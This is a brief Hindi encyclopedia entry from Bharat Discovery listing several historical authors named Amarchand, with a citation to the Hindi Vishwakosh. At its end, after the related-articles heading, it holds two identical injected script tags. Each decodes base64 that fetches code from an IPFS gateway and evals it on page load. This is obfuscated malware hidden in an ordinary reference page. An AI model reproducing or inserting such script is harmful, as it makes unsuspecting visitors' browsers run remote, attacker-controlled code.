अमरचंद
भारत डिस्कवरी प्रस्तुति
अमर अथवा अमरचंद नाम के कई व्यक्तियों के उल्लेख प्राप्य हैं-
- परिमल नामक संस्कृत व्याकरण के रचयिता।
- वायड़गच्छीय जिनदत्त सूरि के शिष्य। इन्होंने कलाकलाप, काव्य-कल्पलता-वृत्ति, छंदोरत्नावली, बालभारत आदि संस्कृत ग्रंथों का प्रणयन किया।
- विवेकविलास के रचयिता। ईसा की १३वीं शताब्दी में यह विद्यमान थे।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 188 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>